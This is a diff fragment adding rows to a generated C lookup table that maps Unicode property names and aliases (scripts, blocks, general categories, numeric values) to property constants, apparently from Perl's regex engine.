+  {     2,  8288,  7792,   3,   6, PL_DT__ENC }   /* dt=circle */,
+  {     5,  1417,  1204,   9,   2, PL_PO }   /* category=po */,
+  {     3,  7136,  7422,   6,   7, PL_CJKEXTF }   /* block=cjkextf */,
+  {     4,  8816,  8169,   3,   3, PL_NV__7_SLASH_2 }   /* nv=7/2 */,
+  {     3,  5645,    18,  10,   1, PL_BC__R }   /* bidiclass=r */,
+  {     4,  7459,  5957,   3,  12, PL_MEND }   /* sc=mendekikakui */,
+  {    11,  6890,   361,   4,  21, PL_MATHOPERATORS }   /* blk=mathematicaloperators */,
+  {     1,  8096,  7367,   5,   6, PL_BENG }   /* scx=bengali */,
+  {     0,   184,   511,   3,  19, PL_CJK }   /* iscjkunifiedideographs */,
+  {     0,  3129,  8236,  17,   4, PL_BATK }   /* scriptextensions=batk */,
+  {     1,  1834,  7768,  21,   6, -PL_CWCF }   /* changeswhencasefolded=false */,
+  {     3,  6484,  7768,  10,   2, -PL_IDC }   /* idcontinue=f */,
+  {     0,  7288,  7145,   8,   3, PL_SC__BUGI }   /* script=bugi */,
+  {     1,  6263,   125,  10,   2, PL_LB__CR }   /* linebreak=cr */,
+  {     0,  6890,  3237,   4,  17, PL_ALCHEMICAL }   /* blk=alchemicalsymbols */,
+  {     3,   184,  8488,   2,   4, PL_RJNG }   /* isrjng */,
+  {     7,   184,  7436,   2,   4, PL_ELBA }   /* iselba */,
+  {     0,    18,  7768,   2,   2, -PL_RI }   /* ri=f */,
+  {     1,  3424,  7997,  17,   2, PL_IDSB }   /* idsbinaryoperator=y */,
+  {     2,  7459,  8488,   3,   4, PL_RJNG }   /* sc=rjng */,
+  {     0,  2065,  7951,  21,   5, PL_NCHAR }   /* noncharactercodepoint=true */,
+  {     2,  8376,    42,   3,   2, PL_LB__CJ }   /* lb=cj */,
+  {    10,  1358,  7951,  20,   5, PL_CE }   /* compositionexclusion=true */,
+  {     6,  7380,  6142,   4,  11, PL_CCC__DB }   /* ccc=doublebelow */,
+  {     1,  4869,     0,  14,   0, PL_LATINEXTD }   /* latinextendedd */,
+  {     0,   184,   720,   2,  21, PL_ENCLOSEDALPHANUM }   /* isenclosedalphanumerics */,
+  {     0,  2484,     0,  19,   0, PL_EGYP }   /* egyptianhieroglyphs */,
+  {     2,  8240,  8807,   3,   3, PL_BC__LRO }   /* bc=lro */,
+  {     1,  8016,  1133,   4,   7, PL_GCB__PP }   /* gcb=prepend */,
+  {     0,  8572,   497,   4,   6, PL_WB__NU }   /* wb=numeric */,
+  {    16,  7380,  8678,   4,   3, PL_CCC__B }   /* ccc=220 */,
+  {     0,  7478,  7062,   3,   8, PL_SAMR }   /* issamaritan */,
+  {     1,  8096,  2841,   4,   4, PL_COPT }   /* scx=copt */,
+  {    11,  6863,     0,   9,   0, PL_ARABICPFA }   /* arabicpfa */,
+  {     1,  3946,  3223,  16,   3, -PL_STERM }   /* sentenceterminal=no */,
+  {     6,  6890,  2271,   6,  18, PL_ININSCRIPTIONALPAHLAVI }   /* blk=inscriptionalpahlavi */,
+  {     2,  1918,  3581,  21,   2, PL_CWU }   /* changeswhenuppercased=t */,
+  {     1,  3129,    57,  17,   2, PL_YI }   /* scriptextensions=yi */,
+  {     2,  7380,  8617,   4,   2, PL_CCC__31 }   /* ccc=31 */,
+  {    13,  8816,  8188,   3,   4, PL_NV__7_SLASH_12 }   /* nv=7/12 */,
+  {     5,  7994,     0,   7,   0, PL_IDC }   /* idc=yes */,
+  {     1,  7136,  8111,   6,   5, PL_INTAKRI }   /* block=takri */,
+  {     1,  8096,  7870,   4,   4, PL_LEPC }   /* scx=lepc */,
+  {     5,   184,  1028,   3,   5, PL_COPT }   /* iscoptic */,
+  {    21,   184,  8400,   2,   4, PL_MIAO }   /* ismiao */,
+  {     0,  6890,  6428,   4,  11, PL_SUPERANDSUB }   /* blk=superandsub */,
+  {     0,  8011,   468,   3,   5, PL_P }   /* gc=punct */,
+  {    19,   184,   631,   3,  29, PL_CJKEXTE }   /* iscjkunifiedideographsextensione */,
+  {     0,  7136,  2877,   6,  18, PL_DEVANAGARIEXT }   /* block=devanagariextended */,
+  {     0,  7834,  3521,   6,   5, PL_POSIXSPACE }   /* isperlspace */,
+  {     1,  8011,    47,   3,   1, PL_M }   /* gc=m */,
+  {     0,  1133,  7768,  26,   2, -PL_PCM }   /* prependedconcatenationmark=f */,
+  {     2,  5657,     0,  12,   0, PL_BIDIM }   /* bidimirrored */,
+  {     2,  2985,  7951,   4,   5, PL_IDST }   /* idst=true */,
+  {     0,  8288,  7184,   3,   3, PL_DT__FRA }   /* dt=fra */,
+  {     1,   184,  8600,   2,   4, PL_QAAI }   /* iszinh */,
+  {     3,  4402,  2618,   3,  18, PL_MODIFIERTONELETTERS }   /* inmodifiertoneletters */,
+  {     0,  2369,   472,  20,   2, PL_VO__TU }   /* verticalorientation=tu */,
+  {     0,  6890,  2693,   4,  19, PL_SUPARROWSA }   /* blk=supplementalarrowsa */,
+  {     4,  7136,  7336,   6,   8, PL_INUGARITIC }   /* block=ugaritic */,
+  {     0,  7380,  8702,   4,   3, PL_CCC__DA }   /* ccc=234 */,
+  {    10,    11,  7951,   3,   5, PL_DIA }   /* dia=true */,
+  {     1,  8816,  7714,   3,   4, PL_NV__3000 }   /* nv=3000 */,
+  {     0,  4314,  5921,  13,  12, PL_JG__MANICHAEANPE }   /* joininggroup=manichaeanpe */,
+  {     0,  7136,  3754,   6,  16, PL_LINEARBIDEOGRAMS }   /* block=linearbideograms */,
+  {     1,  8340,  8512,   3,   4, PL_JG__SEEN }   /* jg=seen */,
+  {     6,  4402,  6647,   3,   9, PL_MISCARROWS }   /* inmiscarrows */,
+  {     1,  8196,  8750,   4,   3, PL_AGE__6_DOT_1 }   /* age=6.1 */,
+  {     1,  7994,    36,   4,   1, PL_IDC }   /* idc=t */,
+  {     0,  5149,     0,  14,   0, PL_SUPPUNCTUATION }   /* suppunctuation */,
+  {     0,  7288,  3458,   7,   4, PL_SC__MANI }   /* script=mani */,
+  {     5,   802,     0,   6,   0, PL_ARROWS }   /* arrows */,
+  {     0,  2229,  8009,  16,   2, PL_CF }   /* generalcategory=cf */,
+  {     0,  5544,  7702,  13,   3, PL_NV__200 }   /* numericvalue=200 */,
+  {     0,  7288,  8396,   7,   4, PL_MERC }   /* script=merc */,
+  {     0,    76,  7096,   2,   8, PL_NT__NU }   /* nt=numeric */,
+  {     1,    21,  5233,   3,  12, PL_AEGEANNUMBERS }   /* inaegeannumbers */,
+  {     0,  6890,  7852,   4,   6, PL_KANBUN }   /* blk=kanbun */,
+  {     3,  5544,  7738,  13,   5, PL_NV__60000 }   /* numericvalue=60000 */,
+  {     0,  6210,  1982,   3,  10, PL_CYRILLICSUP }   /* incyrillicsup */,
+  {     2,  4314,  6072,  13,   4, PL_JG__NOON }   /* joininggroup=noon */,
+  {     3,  6890,  7248,   4,   8, PL_INJAVANESE }   /* blk=javanese */,
+  {     1,  7288,   690,   7,   9, PL_XSUX }   /* script=cuneiform */,
+  {     2,  8121,  7951,   5,   5, PL_UIDEO }   /* uideo=true */,
+  {     0,  1887,  7768,   9,   6, -PL_XPOSIXLOWER }   /* lowercase=false */,
+  {     0,  7459,  7152,   3,   4, PL_SC__DUPL }   /* sc=dupl */,
+  {     0,  6890,  8106,   4,   5, PL_INTAILE }   /* blk=taile */,
+  {     2,    21,  7240,   2,   8, PL_JAMOEXTB }   /* injamoextb */,
+  {     4,  5717,     0,  12,   0, PL_ETHIOPICEXTA }   /* ethiopicexta */,
+  {     0,  8822,  7997,   3,   4, PL_PCM }   /* pcm=yes */,
+  {    13,  7459,  8596,   3,   4, PL_ZANB }   /* sc=zanb */,
+  {     0,   974,  8672,  24,   3, PL_CCC__214 }   /* canonicalcombiningclass=214 */,
+  {     0,  7136,  7499,   6,   7, PL_KALI }   /* block=kayahli */,
+  {     2,  8822,  3223,   3,   3, -PL_PCM }   /* pcm=no */,
+  {     1,  7459,  7320,   3,   8, PL_TFNG }   /* sc=tifinagh */,
+  {     1,  5544,  7720,  13,   3, PL_NV__400 }   /* numericvalue=400 */,
+  {     0,  2229,   295,  16,   2, PL_SM }   /* generalcategory=sm */,
+  {    19,  5134,  8469,   3,   3, PL_MIAO }   /* isplrd */,
+  {     1,  7994,     3,   4,   1, -PL_IDC }   /* idc=f */,
+  {     5,   184,  2967,   2,  11, PL_GEORGIANSUP }   /* isgeorgiansup */,
+  {     0,  7344,     0,   8,   0, PL_XIDS }   /* xidstart */,
+  {     2,  8096,  8552,   4,   4, PL_TGLG }   /* scx=tglg */,
+  {     5,  3521,  3581,   5,   2, PL_XPOSIXSPACE }   /* space=t */,
+  {     6,  1206,  7913,   3,   5, PL_INTELUGU }   /* intelugu */,
+  {     6,  8816,  7708,   3,   2, PL_NV__21 }   /* nv=21 */,
+  {     0,  7136,   447,   6,  18, PL_IDEOGRAPHICSYMBOLS }   /* block=ideographicsymbols */,
+  {     5,  7478,  7626,   3,   6, PL_SUPPUAB }   /* issuppuab */,
+  {     0,  4630,  4600,   3,  14, PL_LU }   /* isuppercaseletter */,
+  {     0,  2985,  7768,   3,   2, -PL_IDS }   /* ids=f */,
+  {     1,  4464,  7998,  14,   3, PL_NFDQC__Y }   /* nfdquickcheck=yes */,
+  {     8,  7288,  3288,   7,  17, PL_AGHB }   /* script=caucasianalbanian */,
+  {     3,  8786,    66,   3,   1, PL_EA__H }   /* ea=h */,
+  {     0,  4314,  4981,  13,  14, PL_JG__MANICHAEANQOPH }   /* joininggroup=manichaeanqoph */,
+  {     9,  8356,     0,   4,   0, PL_KNDA }   /* knda */,
+  {     1,  3129,  8312,  17,   4, PL_HAN }   /* scriptextensions=hani */,
+  {     2,  5134,  6375,   4,   9, PL_HMNG }   /* ispahawhhmong */,
+  {     1,  7288,  5957,   7,  12, PL_MEND }   /* script=mendekikakui */,
+  {    19,  7136,  6536,   6,  10, PL_ARABICEXTA }   /* block=arabicexta */,
+  {     4,  7136,  1589,   6,  23, PL_LATINEXTADDITIONAL }   /* block=latinextendedadditional */,
+  {     4,  6890,  5825,   4,   7, PL_MAHJONG }   /* blk=mahjong */,
+  {    16,  1346,   957,   5,   2, PL_INGREEK }   /* ingreek */,
+  {     0,   184,  1691,   2,  11, PL_NUMBERFORMS }   /* isnumberforms */,
+  {     2,  6483,  7768,  11,   6, -PL_XIDC }   /* xidcontinue=false */,
+  {     3,  1929,  7997,   5,   4, PL_XPOSIXUPPER }   /* upper=yes */,
+  {     3,  7136,  2674,   6,  12, PL_SUNDANESESUP }   /* block=sundanesesup */,
+  {     6,  8096,  6626,   4,  10, PL_KHAR }   /* scx=kharoshthi */,
+  {     4,    21,  1691,   2,  11, PL_NUMBERFORMS }   /* innumberforms */,
+  {     0,  1417,   112,   9,   2, PL_SC }   /* category=sc */,
+  {     5,  1887,  7768,   9,   2, -PL_XPOSIXLOWER }   /* lowercase=f */,
+  {     1,  3129,  3610,  17,   8, PL_BOPO }   /* scriptextensions=bopomofo */,
+  {    10,  5813,     0,  12,   0, PL_NL }   /* letternumber */,
+  {    10,   974,  8897,  27,   2, PL_CCC__19 }   /* canonicalcombiningclass=ccc19 */,
+  {     2,  6713,  8873,   3,   3, PL_IN__6 }   /* in=v60 */,
+  {     6,  6890,   600,   4,  30, PL_CJKEXTD }   /* blk=cjkunifiedideographsextensiond */,
+  {    10,   113,     0,  35,   0, PL_DIACRITICALSFORSYMBOLS }   /* combiningdiacriticalmarksforsymbols */,
+  {    12,  8344,  6208,   3,  11, PL_JT__C }   /* jt=joincausing */,
+  {     2,  7136,  5801,   6,  12, PL_KHMERSYMBOLS }   /* block=khmersymbols */,
+  {     8,  6890,  6120,   4,   6, PL_DOMINO }   /* blk=domino */,
+  {    12,  6706,  7750,  10,   1, PL_IN__8 }   /* presentin=8 */,
+  {     2,   184,  4225,   3,  14, PL_CURRENCYSYMBOLS }   /* iscurrencysymbols */,
+  {     1,  7136,  1812,   6,  15, PL_TRANSPORTANDMAP }   /* block=transportandmap */,
+  {     8,  6890,  2249,   4,  20, PL_GLAGOLITICSUP }   /* blk=glagoliticsupplement */,
+  {     4,    74,     0,   2,   0, PL_ME }   /* me */,
+  {     3,  6263,   373,  10,   2, PL_LB__OP }   /* linebreak=op */,
+  {     1,   949,  3223,   2,   3, -PL_CI }   /* ci=no */,
+  {     0,  5245,     0,   5,   0, PL_ASCII }   /* ascii */,
+  {     0,   600,     0,  30,   0, PL_CJKEXTD }   /* cjkunifiedideographsextensiond */,
+  {     0,  4554,    18,  15,   1, PL_LB__CR }   /* sentencebreak=cr */,
+  {     0,  8786,     3,   3,   1, PL_EA__F }   /* ea=f */,
+  {     2,  7136,   690,   6,   9, PL_INCUNEIFORM }   /* block=cuneiform */,
+  {     2,   184,  3526,   2,  17, PL_RI }   /* isregionalindicator */,
+  {     1,  7912,     0,   6,   0, PL_TELU }   /* telugu */,
+  {     1,  3129,  2841,  17,   6, PL_COPT }   /* scriptextensions=coptic */,
+  {     1,  8816,  8615,   3,   3, PL_NV__1_SLASH_3 }   /* nv=1/3 */,
+  {     4,  3114,  7337,   3,   7, PL_INUGARITIC }   /* inugaritic */,
+  {     0,  6318,     0,  11,   0, PL_MYANMAREXTB }   /* myanmarextb */,
+  {     7,   974,  8633,  27,   3, PL_CCC__103 }   /* canonicalcombiningclass=ccc103 */,
+  {     9,  7459,  8106,   3,   5, PL_SC__TALE }   /* sc=taile */,
+  {     0,  7459,  8496,   3,   4, PL_SAMR }   /* sc=samr */,
+  {     4,  6536,     0,  10,   0, PL_ARABICEXTA }   /* arabicexta */,
+  {     0,  7136,  1981,   6,  18, PL_CYRILLICSUP }   /* block=cyrillicsupplement */,
+  {     3,  2990,  4091,   4,  13, PL_ARABICEXTA }   /* inarabicextendeda */,
+  {     0,  8011,  1306,   3,  13, PL_M }   /* gc=combiningmark */,
+  {    20,   184,  6991,   3,   2, PL_CWT }   /* iscwt */,
+  {     1,  7380,  6230,   4,  11, PL_CCC__8 }   /* ccc=kanavoicing */,
+  {     6,  7288,  8568,   7,   3, PL_VAI }   /* script=vai */,
+  {     2,  5544,  8160,  13,   4, PL_NV__13_SLASH_2 }   /* numericvalue=13/2 */,
+  {     2,  8376,  7828,   3,   6, PL_LB__HY }   /* lb=hyphen */,
+  {     3,  8096,  8428,   4,   4, PL_NEWA }   /* scx=newa */,
+  {     3,  7459,  2531,   3,   4, PL_SC__MULT }   /* sc=mult */,
+  {     2,   974,  5595,  24,   2, PL_CCC__8 }   /* canonicalcombiningclass=kv */,
+  {     2,   184,  5531,   2,  13, PL_MISCTECHNICAL }   /* ismisctechnical */,
+  {     0,  3509,  3223,  17,   3, -PL_PATWS }   /* patternwhitespace=no */,
+  {     9,  8096,  2360,   4,   4, PL_MAND }   /* scx=mand */,
+  {     3,  2877,     0,   4,   0, PL_DEVA }   /* deva */,
+  {     0,   184,  5957,   2,   4, PL_MEND }   /* ismend */,
+  {     6,  8508,    21,   4,   3, PL_SC__LINA }   /* sc=lina */,
+  {     0,  5657,  7768,   5,   2, -PL_BIDIM }   /* bidim=f */,
+  {     2,   974,  8703,  24,   2, PL_CCC__34 }   /* canonicalcombiningclass=34 */,
+  {     1,  7136,   349,   6,  33, PL_SUPMATHOPERATORS }   /* block=supplementalmathematicaloperators */,
+  {     0,  8096,  7639,   4,   7, PL_LANA }   /* scx=taitham */,
+  {     3,  6890,  5777,   4,   6, PL_INHEBREW }   /* blk=hebrew */,
+  {     1,  6890,  3610,   4,  11, PL_BOPOMOFOEXT }   /* blk=bopomofoext */,
+  {     1,  7422,     0,   7,   0, PL_CJKEXTF }   /* cjkextf */,
+  {     0,  7344,  7768,   8,   6, -PL_XIDS }   /* xidstart=false */,
+  {     0,  1206,  3148,   3,  17, PL_TAIXUANJING }   /* intaixuanjingsymbols */,
+  {     2,  2221,  3223,   3,  14, PL_HST__NA }   /* hst=notapplicable */,
+  {     3,  8011,  5813,   3,  12, PL_NL }   /* gc=letternumber */,
+  {     1,  6890,  4134,   4,  15, PL_BRAI }   /* blk=braillepatterns */,
+  {     0,  8096,  1160,   4,   4, PL_HANG }   /* scx=hang */,
+  {     1,  1746,  3526,  21,  17, PL_RI }   /* graphemeclusterbreak=regionalindicator */,
+  {     5,  7288,  7104,   7,   8, PL_SC__ARMN }   /* script=armenian */,
+  {     7,  7136,   720,   6,  16, PL_ENCLOSEDALPHANUM }   /* block=enclosedalphanum */,
+  {     7,  7380,  3254,   4,  17, PL_CCC__133 }   /* ccc=attachedbelowleft */,
+  {     1,  3129,  3674,  17,   7, PL_CPRT }   /* scriptextensions=cypriot */,
+  {     0,   184,  4855,   2,  14, PL_LATINEXTC }   /* islatinextendedc */,
+  {     0,   217,   436,   6,   5, PL_NCHAR }   /* _perl_nchar */,
+  {     1,  4314,  5453,  13,  13, PL_JG__MANICHAEANMEM }   /* joininggroup=manichaeanmem */,
+  {     2,  7689,  3238,   3,   9, PL_ALCHEMICAL }   /* isalchemical */,
+  {     0,   184,  1835,   3,  20, PL_CWCF }   /* ischangeswhencasefolded */,
+  {     0,  7906,  1108,   4,   7, PL_SC__KANA }   /* sc=katakana */,
+  {     0,  7136,  5362,   6,  13, PL_IPAEXT }   /* block=ipaextensions */,
+  {     0,  6263,  8919,  10,   2, PL_LB__B2 }   /* linebreak=b2 */,
+  {     3,  8096,  8237,   5,   3, PL_BATK }   /* scx=batk */,
+  {     0,  2065,     0,  21,   0, PL_NCHAR }   /* noncharactercodepoint */,
+  {    12,  2100,  7027,   4,   7, PL_ORKH }   /* isoldturkic */,
+  {     0,  7689,    15,   4,   2, PL_ARAB }   /* isarab */,
+  {     4,  7136,  7632,   6,   7, PL_INTAGALOG }   /* block=tagalog */,
+  {     3,  2229,  5323,  16,  13, PL_ME }   /* generalcategory=enclosingmark */,
+  {     0,  7478,  6375,   3,   3, PL_SHAW }   /* isshaw */,
+  {     1,  4314,  6274,  13,  11, PL_JG__MALAYALAMJA }   /* joininggroup=malayalamja */,
+  {     2,  7136,  3850,   6,  16, PL_MISCMATHSYMBOLSA }   /* block=miscmathsymbolsa */,
+  {     2,  8783,  3223,   3,   2, -PL_CWU }   /* cwu=n */,
+  {     5,   974,  7576,  24,   7, PL_CCC__1 }   /* canonicalcombiningclass=overlay */,
+  {     1,   184,     1,   3,   1, PL_CN }   /* iscn */,
+  {     0,  7457,  3626,   5,  16, PL_INSC__CANTILLATIONMARK }   /* insc=cantillationmark */,
+  {     0,  8096,  7569,   4,   4, PL_OSMA }   /* scx=osma */,
+  {     5,  7136,  4827,   6,  14, PL_KANGXI }   /* block=kangxiradicals */,
+  {     1,  7288,  6736,   7,   4, PL_SAUR }   /* script=saur */,
+  {     2,  7136,   947,   6,  27, PL_ANCIENTGREEKMUSIC }   /* block=ancientgreekmusicalnotation */,
+  {     0,  7288,  7810,   7,   4, PL_GOTH }   /* script=goth */,
+  {     4,  8096,  2409,   5,   3, PL_BRAH }   /* scx=brah */,
+  {     1,  4479,  7996,   5,   3, PL_NFKCQC__Y }   /* nfkcqc=y */,
+  {     0,  6890,  3441,   4,  17, PL_LETTERLIKESYMBOLS }   /* blk=letterlikesymbols */,
+  {    11,  7136,  1306,   6,  24, PL_DIACRITICALSFORSYMBOLS }   /* block=combiningmarksforsymbols */,
+  {     5,   949,  7951,   2,   5, PL_CI }   /* ci=true */,
+  {     0,   468,     0,   5,   0, PL_P }   /* punct */,
+  {     0,  2229,  2521,  16,   2, PL_PF }   /* generalcategory=pf */,
+  {     0,   184,  7520,   2,   4, PL_MARC }   /* ismarc */,
+  {     0,  5544,  8169,  13,   3, PL_NV__7_SLASH_2 }   /* numericvalue=7/2 */,
+  {     1,  1746,  1083,  21,   2, PL_LB__LF }   /* graphemeclusterbreak=lf */,
+  {     1,   184,    43,   3,   8, PL_CJKCOMPAT }   /* iscjkcompat */,
+  {     3,  5134,     3,   3,   1, PL_PF }   /* ispf */,
+  {     4,  1474,  4524,  22,   4, PL_BPT__O }   /* bidipairedbrackettype=open */,
+  {     0,  8026,   473,   3,   2, PL_PUA }   /* inpua */,
+  {     3,  5657,  3581,   5,   2, PL_BIDIM }   /* bidim=t */,
+  {     1,  4063,  2879,   4,   8, PL_INDEVANAGARI }   /* indevanagari */,
+  {     0,  6109,  6100,  11,   9, PL_L_AMP_ }   /* category=casedletter */,
+  {     0,  3373,   806,  15,   1, PL_EA__W }   /* eastasianwidth=w */,
+  {     5,  8344,     6,   3,   1, PL_JT__D }   /* jt=d */,
+  {     3,  1206,  7585,   3,   3, PL_TAGS }   /* intags */,
+  {    10,  7136,  4855,   6,  14, PL_LATINEXTC }   /* block=latinextendedc */,
+  {    42,  8096,  7336,   4,   4, PL_UGAR }   /* scx=ugar */,
+  {     3,  4314,  8212,  13,   4, PL_JG__ALEF }   /* joininggroup=alef */,
+  {     0,  5544,  7702,  13,   1, PL_NV__2 }   /* numericvalue=2 */,
+  {     0,  7478,  3085,   3,   8, PL_Z }   /* isseparator */,
+  {     5,  6890,  4209,   4,  15, PL_CONTROLPICTURES }   /* blk=controlpictures */,
+  {    14,  1797,     0,  15,   0, PL_MODIFIERLETTERS }   /* modifierletters */,
+  {     0,    21,  6826,   2,  10, PL_YIRADICALS }   /* inyiradicals */,
+  {     6,  8096,  7876,   4,   4, PL_LYCI }   /* scx=lyci */,
+  {     2,  6890,  7918,   4,   6, PL_INTHAANA }   /* blk=thaana */,
+  {    17,  8376,    58,   3,   2, PL_LB__ID }   /* lb=id */,
+  {     1,  8096,  8308,   4,   4, PL_GURU }   /* scx=guru */,
+  {     0,  7136,  7104,   6,   8, PL_INARMENIAN }   /* block=armenian */,
+  {     0,  2859,   974,  18,   9, PL_DT__CAN }   /* decompositiontype=canonical */,
+  {     0,  8272,  7768,   4,   6, -PL_CWCF }   /* cwcf=false */,
+  {     1,   183,     0,  20,   0, PL_MISCSYMBOLS }   /* miscellaneoussymbols */,
+  {     0,  8340,  8041,   3,   5, PL_JG__KHAPH }   /* jg=khaph */,
+  {     0,  6706,  8852,  10,   3, PL_IN__3_DOT_1 }   /* presentin=v31 */,
+  {     1,  1402,     9,  24,   2, PL_INPC__NA }   /* indicpositionalcategory=na */,
+  {     4,  2236,    47,  10,   1, PL_LM }   /* category=lm */,
+  {     0,  1417,  1621,   9,   6, PL_CF }   /* category=format */,
+  {     2,  1503,  6910,   4,   7, PL_EMOTICONS }   /* inemoticons */,
+  {     0,  6076,  7768,  11,   6, -PL_BIDIC }   /* bidicontrol=false */,
+  {     0,  8568,     0,   3,   0, PL_VAI }   /* vai */,
+  {     0,  7457,  7924,   5,   6, PL_INSC__VIRAMA }   /* insc=virama */,
+  {     0,  8504,    49,   3,   2, PL_SB__AT }   /* sb=at */,
+  {     0,  8011,  1679,   3,   2, PL_PC }   /* gc=pc */,
+  {     2,  7459,  2484,   3,  19, PL_EGYP }   /* sc=egyptianhieroglyphs */,
+  {     0,  7288,  3611,   8,   7, PL_SC__BOPO }   /* script=bopomofo */,
+  {     1,  7288,    57,   7,   2, PL_SC__YI }   /* script=yi */,
+  {    12,  6890,  5609,   4,  12, PL_ALPHABETICPF }   /* blk=alphabeticpf */,
+  {     4,  7459,  8600,   3,   4, PL_SC__QAAI }   /* sc=zinh */,
+  {     2,  4314,  8592,  13,   4, PL_JG__ZAIN }   /* joininggroup=zain */,
+  {     2,  8816,  7702,   3,   3, PL_NV__200 }   /* nv=200 */,
+  {     0,  5192,   448,   3,  17, PL_IDEOGRAPHICSYMBOLS }   /* isideographicsymbols */,
+  {     3,  8011,    44,   4,   1, PL_SK }   /* gc=sk */,
+  {     3,  5544,  5219,  13,   2, PL_NV__10 }   /* numericvalue=10 */,
+  {     4,    84,  7951,   4,   5, PL_MATH }   /* math=true */,
+  {     2,  6706,  8753,  10,   3, PL_IN__6_DOT_2 }   /* presentin=6.2 */,
+  {     0,  5544,  8909,  13,   2, PL_NV__45 }   /* numericvalue=45 */,
+  {     1,  8026,  6697,   3,   9, PL_INPHOENICIAN }   /* inphoenician */,
+  {     7,  8344,  6253,   4,  10, PL_JT__L }   /* jt=leftjoining */,
+  {     3,  3129,  8500,  17,   4, PL_SARB }   /* scriptextensions=sarb */,
+  {     2,  6890,  8556,   4,   4, PL_INTHAI }   /* blk=thai */,
+  {     4,    21,  4813,   2,   7, PL_KANASUP }   /* inkanasup */,
+  {     0,  6713,  7750,   3,   1, PL_IN__8 }   /* in=8 */,
+  {    10,  7380,  8740,   7,   2, PL_CCC__25 }   /* ccc=ccc25 */,
+  {     1,   184,   720,   2,  16, PL_ENCLOSEDALPHANUM }   /* isenclosedalphanum */,
+  {     6,  7288,  8456,   7,   4, PL_OSGE }   /* script=osge */,
+  {     0,  7288,  8044,   7,   4, PL_PHLI }   /* script=phli */,
+  {     1,  7459,  6980,   3,   9, PL_NBAT }   /* sc=nabataean */,
+  {     2,  7380,  7941,   4,   2, PL_CCC__11 }   /* ccc=11 */,
+  {     0,  7906,  7493,   4,   6, PL_SC__KNDA }   /* sc=kannada */,
+  {     0,  4542,  7313,   3,   7, PL_TAGB }   /* istagbanwa */,
+  {     9,  6406,     0,  11,   0, PL_SORA }   /* sorasompeng */,
+  {     4,  2229,  4524,  16,  15, PL_PS }   /* generalcategory=openpunctuation */,
+  {     1,   974,  8673,  27,   2, PL_CCC__14 }   /* canonicalcombiningclass=ccc14 */,
+  {     1,  8016,  1627,   4,   7, PL_GCB__CN }   /* gcb=control */,
+  {     6,  4314,  5909,  13,  12, PL_JG__MALAYALAMTTA }   /* joininggroup=malayalamtta */,
+  {     8,  6890,  8819,   4,   3, PL_OCR }   /* blk=ocr */,
+  {     2,   184,  4644,   2,  15, PL_ZANB }   /* iszanabazarsquare */,
+  {     0,  5375,  6252,  12,  11, PL_JT__L }   /* joiningtype=leftjoining */,
+  {     0,  8096,  8496,   4,   4, PL_SAMR }   /* scx=samr */,
+  {     0,  2249,     0,  10,   0, PL_GLAG }   /* glagolitic */,
+  {     2,  7288,  7359,   7,   7, PL_AVST }   /* script=avestan */,
+  {     7,  8096,  6989,   4,   9, PL_TALU }   /* scx=newtailue */,
+  {     0,  8376,  4701,   3,  14, PL_LB__SA }   /* lb=complexcontext */,
+  {    10,  5093,     0,  14,   0, PL_PHONETICEXTSUP }   /* phoneticextsup */,
+  {     0,   184,  1307,   3,  12, PL_M }   /* iscombiningmark */,
+  {     2,  5192,  1687,   3,  15, PL_INDICNUMBERFORMS }   /* isindicnumberforms */,
+  {     0,  6890,  7597,   4,   7, PL_SHAW }   /* blk=shavian */,
+  {     4,   184,  7527,   2,   7, PL_MULT }   /* ismultani */,
+  {    13,   436,  7997,   5,   2, PL_NCHAR }   /* nchar=y */,
+  {     2,  8011,  1627,   3,   7, PL_XPOSIXCNTRL }   /* gc=control */,
+  {     2,  3129,  7900,  17,   6, PL_RJNG }   /* scriptextensions=rejang */,
+  {     0,  6890,  3543,   4,  17, PL_SMALLFORMS }   /* blk=smallformvariants */,
+  {     1,  8340,  6523,   3,   2, PL_JG__FE }   /* jg=fe */,
+  {     3,  8240,    36,   4,   1, PL_BC__ET }   /* bc=et */,
+  {     0,  8220,     0,   4,   0, PL_ARMN }   /* armn */,
+  {     0,  6890,  7208,   4,   8, PL_INHIRAGANA }   /* blk=hiragana */,
+  {     1,  7136,  1506,   6,  14, PL_MUSIC }   /* block=musicalsymbols */,
+  {     1,  8504,   138,   3,   2, PL_SB__FO }   /* sb=fo */,
+  {     0,  7136,  1981,   6,  21, PL_CYRILLICSUP }   /* block=cyrillicsupplementary */,
+  {     2,  8500,     0,   4,   0, PL_SARB }   /* sarb */,
+  {     0,  8288,  7184,   3,   8, PL_DT__FRA }   /* dt=fraction */,
+  {     8,  4449,  7996,   4,   3, PL_NFCQC__Y }   /* nfcqc=y */,
+  {     2,  6890,  2149,   4,  20, PL_INANATOLIANHIEROGLYPHS }   /* blk=anatolianhieroglyphs */,
+  {     2,  6554,  7368,   4,   5, PL_INBENGALI }   /* inbengali */,
+  {     0,  7288,  8308,   7,   4, PL_SC__GURU }   /* script=guru */,
+  {     6,  8288,    45,   3,   3, PL_DT__COM }   /* dt=com */,
+  {     8,  7288,  2967,   7,   4, PL_SC__GEOR }   /* script=geor */,
+  {     0,   974,  7756,  24,   1, PL_CCC__9 }   /* canonicalcombiningclass=9 */,
+  {     0,   184,  1702,   2,  22, PL_DIACRITICALSFORSYMBOLS }   /* isdiacriticalsforsymbols */,
+  {     9,    21,  4827,   2,  14, PL_KANGXI }   /* inkangxiradicals */,
+  {     0,  6890,  7359,   4,   7, PL_INAVESTAN }   /* blk=avestan */,
+  {     1,  1417,  5310,   9,  13, PL_XPOSIXDIGIT }   /* category=decimalnumber */,
+  {     0,  3129,  8496,  17,   4, PL_SAMR }   /* scriptextensions=samr */,
+  {     3,  7798,  7951,   6,   5, PL_COMPEX }   /* compex=true */,
+  {     8,   974,  7708,  24,   2, PL_CCC__21 }   /* canonicalcombiningclass=21 */,
+  {     0,  7840,  5600,   6,   9, PL_VERTICALFORMS }   /* isverticalforms */,
+  {     0,  1027,     0,   2,   0, PL_SO }   /* so */,
+  {     1,  7168,  3223,   8,   2, -PL_EXT }   /* extender=n */,
+  {     0,  7227,  5315,   5,   5, PL_POSIXALNUM }   /* posixalnum */,
+  {     2,  7136,  7450,   6,   7, PL_INHANUNOO }   /* block=hanunoo */,
+  {     1,  7136,   540,   6,  30, PL_CJKEXTB }   /* block=cjkunifiedideographsextensionb */,
+  {     3,  6506,  6506,   3,  10, PL_YISYLLABLES }   /* isyisyllables */,
+  {    11,  8096,  7450,   4,   7, PL_HANO }   /* scx=hanunoo */,
+  {     1,  7288,  7597,   7,   7, PL_SHAW }   /* script=shavian */,
+  {     6,  7136,  7590,   6,   7, PL_INSHARADA }   /* block=sharada */,
